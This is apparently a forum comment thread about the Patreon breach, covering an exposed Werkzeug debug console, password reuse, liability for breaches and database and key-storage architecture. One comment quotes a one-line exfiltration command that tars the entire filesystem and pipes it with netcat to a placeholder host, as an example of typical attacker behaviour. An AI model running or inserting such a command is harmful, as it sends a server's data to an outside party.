That's pretty devastating to anybody who gave up their data to support things they enjoy. I would really like to see services getting hit with massive fines so they actually "take security very seriously" before they get owned. It's far too late to care about it now, there's a lot of compromising data in that leak.
Everyone will say "we take security seriously", but there's no way for ordinary consumers (or indeed most companies) to determine what the company meant by their statement, and to evaluate the relative security of the systems of two companies.
This could actually provides a market incentive for companies not to spend too much on security, as those that do will have lower profits than those that don't.. until they get breached, and even then companies with good security can be breached...
I don't think it's actually that bad; for example, Patreon said that they don't store CCs and that they correctly hashed passwords, and as a consumer myself, I did take that into account. Obviously less knowledgeable consumers don't know what "bcrypt" is, but that's true of any product - you can't judge what you don't know how to judge.
so with two patreon style sites both of which say "we take security seriously" , until they have a breach, how would you judge which one would take better care of your data?
The information (AFAIK) about their security mechanisms only got released as a result of the breach, so even assuming you knew what the terms were and how to judge good security from bad, you wouldn't have the information until the site got compromised.
I'm aware, I just can't be bothered. Every time I create an account I ask myself "do I care if this gets compromised?". If the answer is no, then it gets a standard password.
As long as you understand that when that site gets compromised, all other sites where you use your standard password get compromised for you as well. Collectively, all those sites getting compromised for you may be enough of a reason to consider password managers.
In the case of Patreon, you might at least assume some negligence, as they had their development servers accessible from the public using production data. In other cases it might be harder to tell. Shielding your dev and staging servers and using mock user data is pretty standard IMO.
I have already requested my Patreon account to be deleted, as they clearly don't understand how to protect customer data.
Also, someone who was quite likely the guy that hacked them (he posted this data dump a day ago) was claiming on Twitter that they'd left a root console on that machine open and unprotected to the entire internet. Of course, he's a troll so he may well have been lying...
Security, if taken seriously is a set of policies related to software and hardware (in the post-Snowden era).
Applying patches like grsecurity, running services through chroot jails, installing IDS systems and reporting tools makes a system (every system) extremely inflexible. Updates become nightmare.
Tuning a system to avoid false positives might take a forever and then the topology/setup/clients/users change. Back to square one again!
New tech like docker or any kind of virtualization are out of question. You probably don't want PHP, Python or Ruby applications. Do you really need JS. Can you debug all the libraries the developers used? Is their responsibility or no, to audit every new shiny framework for security?! Are they going to pay for it? Is it worth it?
The personnel, even the managers, must go through a lot when the systems are secure. More often then than not, people consider standard security measures exaggerations, so they more often than not try to avoid all the hassle. Can you cope with these people, time and again?
And sometimes even taking extreme measures might not be enough[1]. We keep adding layers upon layers at all levels: Development, Sys-admin (now Devops), etc. Can audit every piece of software that comes into the stack? Of course not.
You either have a security team that breaks everyone's balls with audits and strict policies that will cost you money and most startups or even corps can not afford the kind of inflexibility and cost that this brings in.
Security is a trade-off and truth is that most of the times is just additional cost and complexity and even when you're ready to make that trade-off, you're still not invulnerable by any means.
Agree completely. To take it a step further - even if you assume that you have all of the above locked down and have inspected all of your servers - someone still has to connect to those servers.
Let's assume they are connecting using an iOS device or OSX on a Mac to run commands on the server. As everyone knows, Apple devices allow full root access from the cloud for Apple to install new applications etc. These same backdoors can often be exploited [1] or leveraged by governments. If we assume an attacker has full control of the laptop the devops engineer is using to secure the system it becomes trivial for him to insert a backdoor in the servers too.
This is what things like PCI compliance are for. Admittedly PCI is a crappy ticklist, but it enables you to distinguish between organisations that at least try to check the boxes and those that don't.
The law makes those kinds of distinctions all the time. For example, when someone dies at work the first thing the government tries to figure out is whether it was just bad luck or the company was being sloppy.
Fines? It would do more damage than good(if there's any good that is). One of the best things about the information age is the ability for anyone to take part in it. You could be selling glow sticks to a guy a thousand miles away from you.
If there were fines, it would scare away people with less technical skills who would want to start something new.
What we must do is introduce certifications, this would help make companies more security aware, but wont make it mandatory.
If you're an inexperienced startup then perhaps you shouldn't be taking risks with my data.
If I bought glowsticks at the mall and they injured me when I used them I would expect consumer protection laws to issue fines to make selling them too risky a venture, why shouldn't I be protected by a similar mechanism for injury caused by leaky data?
omg, stop being such babies. You can't run a startup without risk, I am sure you have been around the startup world to notice how much risk these startups take in order to be successful, as a society we should encourage people to take more risks, and help them, not become a barrier to their success.
I'm not sure how compromising the data is... if you're referring to the display of what people support, that's public information. For instance here's my user profile. https://www.patreon.com/user?u=632496&pat=1 you can find it with one targeted google search
>massive fines so they actually "take security very seriously"
The bad publicity around such a hack can very much turn a company belly up. Massive fines will not alter the incentive structure significantly, they already know a hack is a bad thing.
On the other hand, there are plenty of interventions that would change the security incentives. For example, decriminalize white hat hacking to allow access to any internet connected system, as long as the vulnerability is reported within 7 days to the relevant bodies and no data is duplicated/altered. Heck, award prizes for it.
Makes me wonder what can be done to prevent this from happening without making it a terrible experience from a user point of view. Maybe the solution would be to store a password for the debugger and ask for it on first usage.
It said the guys name in the subdomain that this was available on. I can only imagine how that guy must feel, worst thing that I can imagine happening as a dev.
We've all made stupid mistakes and not paid a price as high as this!
Mistakes happens. But it should not be possible to put production data in publicly accessible systems by mistake. Not without committing a criminal offense, at the very least.
Your customer data is your customers' data. It's not yours to toy with as you please.
Command line flag, environment variable or interactive prompt could help. Maybe the interactive shell should be enabled separately from debug itself, since some only use debug for the exceptions. It could also explicitly try to figure out if it's running in production mode by detecting WSGI, disabling setting app.debug in favor of app.run or when listening on 0.0.0.0 and if not block that make you use "public_debug" or whatever.
> explicitly try to figure out if it's running in production mode
Does not help. The cases I saw in the past were people putting Werkzeug's stuff behind ngrok, proxies, nginx in which cases it will all look like local requests.
I wouldn't assume people didn't read the docs so much as they made a mistake deploying (part of) a development setup to production. Security isn't an all or nothing thing, it's about having a good chance of doing the right thing. I think having to explicitly enable the interactive part, something that isn't really standard either, would be sensible e.g. app.run(debug=True, debug_shell=True). At least that would make people even more aware and limit the potential of incidents to those who actually use the feature.
It's not exactly uncommon that people leak errors, remote code execution is another level though. It doesn't hurt to be careful with such a feature.
I implemented a pin based system now. It prints a PIN on first usage in 8 hours to the terminal and you need to enter it to unlock the console. This is IP bound.
It's still only a way to prevent greater damage, you should still not run the debugger enabled in prod.
The guy who claimed responsibility for this mentioned that they basically had an open root console exposed to the entire web on one of the development servers, and even named a subdomain. Guess this was why.
This just got me thinking, which would be worse -- your account data from any one site leaked, or metadata about your internet activities leaked? Thinking about the arguments about mass data collection and metadata, I'm pretty certain I'd be most worried about metadata. Do metadata-collecting companies tend to be more secure, or more security aware, or it just hasn't happened yet?
What I mean is, if your private browsing session from your laptop, along with non-private sessions, and data connections for IM conversations, were all leaked, that would be intensely revealing.
AIUI most states don't require breaches to be announced unless they get some combo of credit cards, passwords, email/name/phone, and govt' IDs. So metadata spying companies like Adobe/Omniture might never report being hacked at all.
Frankly it bothers me how lackadaisically business types treat security sometimes, caring more about company image than customer privacy, to the point of never revealing massive breaches if they don't hit states' ridiculous requirements for disclosure.
I was somewhat surprised to find my email on the list, since I don't have a Patreon account.
It seems that when Subbable was acquired by Patreon, they got the user information, and possibly password database, too. I can't log in to Patreon with my Subbable password, but my email address is definitely in the breach.
Makes me glad I use a password manager.
It's also a sobering reminder of the permanence of user data. You have to trust the competence of not only the service you use now, but any company that owns that service down the road. (Not that Subbable was necessarily more secure than Patreon.)
I had just been listening to the "Talk Python to Me" podcast episode with Albert Sheu of Patreon (http://talkpython.fm/episodes/show/14/moving-from-php-to-pyt...). Having heard the guy's voice and his enthusiasm for his work makes me really feel sorry for the team at Patreon. This is pretty much worst case and may end the company.
Why do you think it'll end the company? It's a marketplace with network effects. And not to mention, many people depend on Patreon for their primary source of income. It won't simply just go away.
I like patreon a lot and feel sorry that they've been breached. Luckily (for them) I'd guess that with the number of breaches these days, the negative publicity on them will be a lot less than it would have been a couple of years back, so hopefully they'll be able to carry on ok.
Hey, guess what? To delete your account, you have to e-mail delete@patreon.com "from your registered e-mail address". There is no way to do it over a secure connection. What could go wrong?
Not sure why you're being downvoted other than expressing doubt at the decisions Patreon has made / is making with respect to best practices. I'm getting slammed for understanding and pointing out they've had some suspect practices in the past based on copyright law in music. Shrug
This scares me. I'm the eng lead of a startup that's a bit smaller than Patreon. And hey, we program in Python too.
We're not vulnerable to this particular problem. And I feel pretty confident that both our stage and production environments are well-protected. However, I can't help but wonder if I'm missing something. I'm sure Patreon felt confident a month ago.
Has anyone checked to see if any Facebook access tokens were saved unencrypted in the database? They mention that users who logged in with Facebook instead of username/password would be completely safe, but if access tokens were leaked, then many users could have their Facebook data mined.
Are Facebook access tokens vulnerable to such an attack?
If I remember correctly, at least Google tokens wouldn't be: The application receives a token from Google. With that token, a new session token is created. This session token expires and can only be renewed with the application token and the correct redirect URL.
If Facebook uses a similar scheme, tokens would be useless without the running application renewing session tokens.
Some GamerGate supporters have made claims that video game reviewers have covered games and develelopers that they have backed financially through Patreon without disclosing this to their audience.
This disclosuee would allow those making that claim to demonstrate if their claims are accurate, and it allows those about whom the claim is made to demonstrate that the claim is inaccurate.
There are plenty of adult content artists that some people might rather not have others know they're supporting. Especially if that adult content is out of the ordinary.
There is a lot we can do as programmers to make data leaks of that scope a lot harder to pull off. I think web apps of a certain magnitude should not be talking directly to the database, they should be talking to their internal data API that resides on a different server. The reason for this is that a completely separate data layer is easier to lock down, and also way easier to monitor for unusual activity. Ideally, that internal API server couldn't even communicate with the internet directly.
I've been doing web programming for a long time, and while direct DB access is both convenient and fast, I have to admit it's not easy to monitor these databases for breaches, or to stop them from spilling their entire contents if so requested.
I think your intentions are in the right place but I don't think that would have helped here - they didn't just get in via SQL injection, they have all the source code too. That hints that they had quite a lot of access.
This would be plenty of time to slowly spread through the network, learn what is stored where, and hop through servers until they got what they need - even in a setup like the one you describe.
> If the frontend layer needs to access the data anyway, how does that separation help?
It helps in multiple ways. Since you define the data API yourself, you can tailor it tightly to only the exact operations you need. This makes it more difficult to flat-out drain everything (or even query everything, depending on your app). It's also another layer of insulation. The fact that it's another, non-standard access protocol also helps. If I'm an attacker, I'll probably have a harder time figuring out how the custom data layer works; and when I'm done with that I still need to actually siphon the data, which will ideally require me to either issue millions of suspicious requests, or try to break into the API server itself, which has a drastically reduced attack surface compared to a typical web app. Which is where your second question comes in:
> And why is it easier to monitor for unusual activity?
Because you know what the legitimate access patterns of your app look like, you can raise flags programmatically. In fact, you can incorporate certain checks right from the time you start writing your API. It puts you, as a programmer, into a position of control and you can use the global insight you have into your app's design to your advantage by defining what's normal and what's not.
Compare that with a general-purpose DB interface, which is ...well, general purpose. It doesn't know when it's doing something implausible. When something goes wrong with these databases, it's often the admin/ops people who notice it, if at all.
> Since you define the data API yourself, you can tailor it tightly to only the exact operations you need. This makes it more difficult to flat-out drain everything (or even query everything, depending on your app).
Considering that the database was designed specifically to support the website (so it's not supposed to have unrelated data), and that the frontend intermediates all access to the data, wouldn't the sum of the operations require access to all data? Why would you have data that was not needed by the website?
> If I'm an attacker, I'll probably have a harder time figuring out how the custom data layer works
This is just security by obscurity, except if the attacker has access to the client code, it's not even very obscure. Finding all calls to the backend API is a trivial task nowadays.
> Because you know what the legitimate access patterns of your app look like, you can raise flags programmatically.
Why can't you do that from the database logs? A query is just like an API call - you can raise flags if the frontend makes queries outside of a known pattern (ie, non-recognized queries or in an unexpected order).
> wouldn't the sum of the operations require access to all data
How you can access the data matters, and typically not all data (nor all views to that data) are required to run the app. Some info should only ever travel one way (typically from the web server to the backend, like passwords, analytics, or payment data). There are whole categories of information that do not ever need to be queried in bulk by a legitimate user.
> This is just security by obscurity, except if the attacker has access to the client code, it's not even very obscure.
It's not like this approach in any way relies on that obscurity, but as a measure to increase time and effort required by the hacker, I'll take it. Just increasing the time spent figuring out how to query the backend gives site operators additional opportunities to spot that something is wrong. Compare this to the immeasurably small effort required to dump all SQL tables into a text file.
> Why can't you do that from the database logs?
Typically logs aren't analyzed in real time, and I'd hazard a guess in most cases they're not even analyzed at all. Most databases don't even keep an access log by default, and in many cases it's hard to implement one that is useful.
> A query is just like an API call - you can raise flags if the frontend makes queries outside of a known pattern
Theoretically: yes, practically: no. In case of SQL databases, this would practically mean communicating with the DB exclusively through stored procedures (or event handlers/filters in case of document databases), which is a poor man's version of what we're talking about in the first place. In practice, almost nobody uses their database in this way, because it's really painful and does not even offer that much protection.
Yeah. I feel like an ideal architecture would be to use NSQ and transmit not queries, but a minified JSON bundle of query "name" with query parameters. Then have stateless DB service nodes preloaded with canned, named queries on secured VMs whose only access to the outside world is NSQ. Bonus, you can tap off DB requests with an ephemeral channel and log them.
That sounds like SOAP + SQL Server stored procedures (full replication mode to log db requests, then monitor any SQL queries). I'm assuming other vendors have similar set ups.
I've ran systems like that, and I'm glad things are a lot easier to maintain now (stored procs are a pain in the ass, whether they exist in the database or in the app layer).
Query injection is solved by parameterising queries (never sanitising them yourself), it should not be an issue nowadays, "advanced SQL injection" is a lie, either you can inject or you can't.
If you can inject, it doesn't matter how many protections you put in place, you can always extract data via timing attacks or boolean conditions.
Your SQL is going to be "stored" one way or another, whether it's implicitly in the internal workings of an ORM, explicitly in code or mybatis style config, or explicitly in the DB. I think isolating it into data workers, and making them feed off a high throughput message queue (hiding restarts), minimizes the amount of redeploying needed.
Unless every single employee actually follows this clause, just one bad apple can ruin every security procedure in the world. Layer 8 is awfully vulnerable...
Are they running on their own machines? AWS? Heroku?
From looking at their careers the use PostgreSQL/MySQL, Python, Scala, Ruby, Node.
I am assuming because of the nature of the breach that they are running their own servers (either on AWS or their own machines), it's a completely compromised server which had access to everything.
Since their servers appear to run on AWS, and knowing that the breach was possible because their development servers were exposed to the public with production user data, it is safe to assume that they had their development servers on AWS as well.
This could be quite a scary prospect. There are certain anonymous and controversial artists who have solicited and received donations through Patreon. Some of these artists remain anonymous because of the controversial nature of their work. I think this is a scary prospect for both patrons and artists.
Why don't more websites that are vulnerable to these types of breaches also encrypt user email addresses as well any personally identifiable information? I don't foresee any performance implications if everything is cached anyways.
the problem is, if you intend to use the data within the application, you need to be able to decrypt it. If you can decrypt it, so can anyone who compromises the website :)
with e-mail addresses you need to use them in their unencrypted form (e.g. as login names), so encrypting wouldn't do much for you against most attacks.
> the problem is, if you intend to use the data within the application, you need to be able to decrypt it
... which requires the encryption keys to be know at the point of use - but it doesn't mean that they need to be kept with the database. It doesn't necessitate asymmetric encryption either.
If you keep the keys in a different location, completely away from the database server(s), then a compromised database or backup does not compromise any of the information. Of course there are attack routes that would still give access to the keys too, but you have covered quite a few common attack vectors.
As others have said, this appears to be a total dump of the system and not just the database. It looks like the encryption keys were not kept with the database, but all of the SSL keys and everything are included inside the full dump. Seemingly it was another server with the keys that was dumped too.
The only way to protect against this would be some type of hardware key store with limited access to all employees and servers. I think there are a few (expensive) options which can do this, but nearly all services - especially startup services like this one - do not have this available to them.
Who knows if those hardware options aren't just as vulnerable to an experienced attacker though? I don't think they are generally well tested - probably half of the available options are snake oil.
If the keys are only ever held in memory then getting a dump of all the stored data from all the database and font-end servers would not reveal the keys.
To achieve that you would need human interaction to bring up a new box (or after an existing box is restarted) in order to hand over the keys (if the server could request the key from somewhere on the local network, then perhaps so can an attacker if they get access to run arbitrary things rather than just getting access to the filesystem or a copy thereof) which might be impractical for some environments, but it is possible.
For instance when my offsite backup server reboots it can't access the encrypted volumes until I login to mount them manually, sending the keys over SSH in such a way as they don't get stored.
The weak point then becomes the humans and the process they use to transmit the keys from the keystore to the servers.
One more weak spot: if they have full access to the server, they can just dump the ram. This is incredibly simple to do on Linux for example.
In a big company though, having that one developer with full keys to the kingdom and is the only way to start up new servers is obviously out of the picture. Especially if the system works by having the keys on an easily stolen or damaged laptop...
They keys would need to be much better looked after than that, of course. They just need to not be easily accessible from the machine they protect. You'd need a procedure in place so anyone with access to the relevant machines is able to obtain and use the keys as needed in an emergency.
Being able to dump RAM pretty much breaks the protection that this offers though, as you correctly point out.
Just thinking aloud here, but if your user name is the email address, you could actually store a hash of the user name, use that to look up the account and verify the login, then keep a map from the hash to the user-entered name in an in-memory database. This way the user name (email address) never gets stored.
This would also work when someone has forgotten their password, as long as they don't forget the email address they used to sign up. (This is actually the only reason why the user name has to be the same as the email address.)
You can't send regular information emails with this, though.
Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the attackers technically wouldn't be able to get access to that key unless they also hacked the server with the key.
sure for some attacks it might help, but ultimately if someone has compromised your server, that server is likely to have the ability to load the key to decrypt the data.
For example to handle the case of unattended server reboot, you'd be likely to have the server have a script to load the key back into memory. Attacker gets shell access, they get the script, they get the key...
Security is always a trade-off and people tend not to engineer their webapps with the assumption that they'll be breached in specific ways.
In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running
tar czf - / | nc example.org 1234
and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.
What if you use the email as extra bits of entropy? Like you can append the password to email then hash it. Of course you lose the ability to send emails and account recovery, but its an okay tradeoff for people who want more security.
Recover password by email is a business requirement. You also need to be able to send users an email to alert them about numerous things such as credit card expiry or service termination, etc. It sounds like an option, but I don't think it's an option any real company will take.
All the data breaches lately have demonstrated the need for some kind of professional engineering license to ensure compliance with best practices. Even if your app is meaningless in and of itself, a data breach can reveal Personally Identifying Information or credentials for other sites and accounts.
There's too much of a "code cowboy" mentality out there right now. As a community we've become very feature-driven and security is usually the last consideration. You need somebody whose name goes on the dotted line and assumes responsibility for the overall integrity of the system, because otherwise it's always Somebody Else's Problem. If you get breached and you weren't following best practices, then your PE takes on the liability, just like a building collapse or something.
This can be accomplished without significant burden to smalltime admins now that we have stuff like AWS and Docker. You should be able to Chef yourself a secure AWS instance and then Docker-Compose yourself a functional application deployment. Most smalltime users probably want some combination of CMS, storefront, or forum, and it should be pretty easy to provide these as prefabs. Some customization will be necessary, but then it will fall on the appdevs to force validation and security on the webdevs. If your defaults let someone inject SQL or something then it falls on the appdev, if the webdev uses an "unsafe" flag and overrides the defaults it rolls downhill onto the webdev. If you don't follow unit/integration testing best-practices, then it falls on you. If you don't pin your versions and a vulnerability opens up in the future - falls on you. Etc.
These standards should apply whenever you are a commercial entity or store Personally Identifying Information. If you are a legit smalltime user and don't want to use professionally licensed software then go ahead and do whatever, but you should be content with storing a username/password and perhaps using a one-time SMS or email validation that doesn't get stored. These then travel in a "viral" fashion like copyleft - if you are building a commercial website you need to do it using a storefront that has a licensed PE, that runs on a runtime that has a licensed PE. Once these are commonly available then most users would probably follow suit anyway.
This idea isn't going to be very popular with startup coders from Silicon Valley, but the reality is that the US is way out there on this stuff and we're seeing an epidemic of data breaches as a result. The EU has much more stringent data privacy laws. These don't have a whole lot of teeth at the moment, but the principles are down on paper and this is what I think you would need to implement them effectively.
To me HTML code is really a microcosm of the problem. People will write whatever old crap for as long as you let them get away with it. You have to make it as easy as possible to do the right thing, but a lot of people will have to be dragged kicking and screaming by turning on XHTML and disallowing standards non-compliance. Professional licensing is how you do that for applications and systems engineering.
If we are going to put collective political effort into stemming the tide of data leaks and hacks, I would much rather put it into finding and punishing the people who steal the data than the people who are trying to create a productive service and get hacked through less than perfect security.
That's pushing on a string, man. You will never be able to effectively track down and punish every bored Russian teenager.
As Schneier puts it - security is a process. The process doesn't have to be perfect, but there needs to be one. If your process is drastically substandard, someone need to be liable for that. The need for a standards group and a single point of liability follow logically from that, just as it does with other engineered systems. Under HIPAA an individual must be designated a "security officer", and that role should extend to other systems that store Personally Identifying Information as well.
I think the real point of disagreement with many people is about the significance of a data breach. In my opinion (and the standards of the EU) anything that leaks Personally Identifying Information is significant. It doesn't matter if it's leaking from an app that sends fart noises to your friends, only that it can be tied to you or your other accounts. If you really need to be storing PII then there needs to be a requirement to do it securely (meaning in accordance with secure best-practices). Otherwise, again, nobody does it until it's too late.
The centralisation of services like this has to stop. Why should giving money to creators be a centralised thing (many to many) instead of just a one to many relationship between the creator and their fans?
Because this makes it easy for non-web-savvy creators to get paid, at regular intervals. It establishes trust & familiarity for the users giving money. It's also a good way to minimize transaction fees if you're supporting many creators - from what I remember Patreon batches many small donations into one large transaction.
"Why should giving money to creators be a centralised thing (many to many) instead of just a one to many relationship between the creator and their fans?"
That had many years to happen. It objectively didn't happen. Fact trumps theory.
So content creators should use PayPal then for donations? That's also a centralized service. How do you propose a transaction takes place without a service to process the details?
I'm assuming you're a Euro - most places don't have giro transfers like you guys do.
A long time ago the US and the European financial systems diverged. The US banks optimized for check processing and credit cards, while the Euro banks optimized for bank transfers. Domestic bank transfers typically cost around $25-35 a pop and take several days to clear in the US. Checks usually post instantly but take about as long to clear - the time between it posting and clearing is basically a loan, and the check may still bounce. Until a few years ago, many banks didn't even allow you to do bank transfers online. Stores will sometimes use "electronic checks" where you provide a blank check and they read the account numbers off it, but this is just a shortcut to avoid handling the piece of paper. The funds are still moved through the checking system. These are not available to regular account-holders either.
That's why we come up with all these systems like Paypal and Patreon to move money around - the bank-level tools are cumbersome, slow, and expensive for us.
Bank transactions are anything but simple to set up in some places, and can also be very expensive to set up when you're talking about international transfers of money. Thankfully there are things like IBANs and BICs, but that doesn't help when a bank wants to charge you something like 5x the value of the transfer (when the transfer is a low value, like 5/month).
Credit card processing already handles the whole international transfer cost, and puts the burden on the processor instead of the payer. That processor can then do things like batch transactions to reduce the cost.
Wow, I avoided Patreon because I didn't trust that all the music being hosted was following proper licensing and compensation rules (e.g. looked like >50% of songs were covers), so this is kind of a double shock to me about how they ran their operation.
Believe it or not, this re-inforces my commitment to SoundCloud, which isn't monetized (yet), thereby keeping listeners' financial information off the table for the present.
No, I'm not mistaken, at all. I'm very clear on what I understand about Patreon.
If you want, you can probably get into the hacked data and see my email warning them that by being a financial conduit they were not abiding by Safe Harbors with respect to the real rights owners.
It may not have "hosted" the music, but if you click on the music page, what do you see? Music videos. Then Patreon was the method to give those people money. People who may or may not have secured the proper licenses and paid the original artists.
Also, if I was an artist on the site, my personal information would be part of that dump - SSN, etc - so my reluctance to engage with them was prudent.
Edit: Downvoting my observations? I guess there are more people here that don't understand copyright than I figure, oh well.
I've never heard of Patreon until now. This might be the most press they've ever gotten. At what point do we start asking questions like, did this company "hack" themselves for the publicity? There is a great moral hazard in providing so much free publicity to companies that get "hacked."
